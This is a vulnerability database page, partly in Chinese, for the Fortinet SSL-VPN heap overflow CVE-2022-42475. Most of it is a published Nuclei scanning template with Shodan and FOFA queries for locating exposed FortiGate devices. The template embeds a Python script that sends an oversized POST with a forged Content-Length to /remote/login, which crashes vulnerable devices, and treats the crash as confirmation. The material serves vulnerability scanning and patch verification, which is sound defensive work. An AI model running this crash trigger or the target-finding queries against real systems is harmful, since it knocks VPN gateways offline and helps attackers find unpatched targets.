CVE-2022-42475: Fortinet SSL-VPN - Heap-Based Buffer Overflow

日期: 2025-08-01 | 影响软件: Fortinet SSL-VPN | POC: 已公开

漏洞描述

A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

PoC代码[已公开]

id: CVE-2022-42475

info:
  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
  author: 0xhaggis,pszyszkowski,pussycat0x
  severity: critical
  description: |
    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
  remediation: |
    Fixed in:
    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
    FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
    FortiProxy >= 7.2.2, 7.0.8, 2.0.12
  reference:
    - https://github.com/0xhaggis/CVE-2022-42475
    - https://fortiguard.com/psirt/FG-IR-22-398
    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
    - https://bishopfox.com/blog/exploit-cve-2022-42475
    - https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
    epss-score: 0.9394
    epss-percentile: 0.99875
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query:
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:"945408572"
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash="945408572"
  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
flow: http () && code()

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/login"
      - "{{BaseURL}}/login"

    stop-at-first-match: true
    host-redirects: true
    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
          - 'status_code == 200'
        condition: and

code:
  - engine:
      - py
      - python3

    source: |
        import sys, os, time, socket, ssl
        PADDING        = 0x4141414141414141
        PADDING_LEN    = 1024*12
        CONTENT_LENGTH = b"4294967297"

        class SSLVPNExploit:
          def __init__(self, host, port):
            self.host = host
            self.port = port
          def connect(self):
            tries = 1
            if os.getenv("Scheme") == "https":
              useSSL = True
              print("[+] Using SSL/TLS")
            else:
              useSSL = False
              print("[+] Unencrypted connection")
            while tries <= 6:
              try:
                print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
                self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                if useSSL == True:
                  ctx = ssl._create_unverified_context()
                  self.socket = ctx.wrap_socket(self.cleartext_socket)
                else:
                  self.socket = self.cleartext_socket
                self.socket.settimeout(2.0)
                self.socket.connect((self.host, self.port))

                return self.socket
              except socket.timeout as e:
                tries += 1
                print("Connection timeout!")
                continue
              except Exception as e:
                print("Unknown error!")
                print(e)
                return None
            return None
          def check_by_get(self):
            get_req = bytearray(b"")
            get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"

            print("[>] Sending GET first")
            if self.connect() == None:
              print("[!] Error connecting to target")
              exit(1)
            try:
              self.socket.sendall(get_req)

              self.socket.settimeout(10)
              get_buf = self.socket.recv(1048576)

              if len(get_buf) == 0:
                print("Error while sending GET. Protocol mismatch?")
                return None
              self.socket.close()
              return True
            except socket.timeout as e:
              print("[>] Target waited for more data.")
              return False

            except Exception as e:
              print("[>] Target dropped the connection during test GET, which indicates a communication error!")
              print(e)
              return None

          def is_vulnerable(self):
            req = bytearray(b"")
            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
            req += b"AAAAAAAA"*(PADDING_LEN)

            print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
            if self.connect() == None:
              print("[!] Error connecting to target")
              exit(1)

            try:
              # Send the payload. Vuln instances will crash, severing the connection and
              # causing an exception to be thrown here.
              self.socket.sendall(req)

              # If this read succeeds then the target is probably not vulnerable.
              # If it times out, then it's also probably not vulnerable.
              self.socket.settimeout(10)
              buf = self.socket.recv(1048576)

              # If the remote end disconnects without an HTTP response then it's vulnerable.
              if len(buf) == 0:
                  return True

              # Check to see if it has the vendor patch applied
              if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
                  print("[>] Target is patched.")
                  return False # 100% confidence that it's not vulnerable.

              # Ok, something weird and unexpected happened.
              print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
              print("----- BEGIN RESPONSE -----")
              print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
              print("----- END RESPONSE -----")
              self.socket.close()
              return None

            except socket.timeout as e:
              print("[>] Target waited for more data. Not vulnerable.")
              return False
            except Exception as e:
              print("[>] Target dropped the connection, which indicates a vulnerable device!")
              print(e)
              return True

        if __name__ == '__main__':
          host=os.getenv("Host")
          port=int(os.getenv("Port"))
          exploit = SSLVPNExploit(host, port)
          check = exploit.check_by_get()

          if check == True:
            result = exploit.is_vulnerable()
            if result == None:
              print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
              exit(2)

            if result == True:
              print("[+] Target appears to be VULNERABLE")
              exit(0)

            else:
              print("[+] Target is NOT vulnerable")
              exit(1)

    matchers:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
# digest: 4a0a00473045022100fd9bd54297267048d751bf43b25aad58c73445a6654339ab071092387ac0123f0220450016d0e026b2a427ae95cedb221d2f247e85832a4c513251bb45974032edf2:922c64590222798bb761d5b6d8e72950

相关漏洞推荐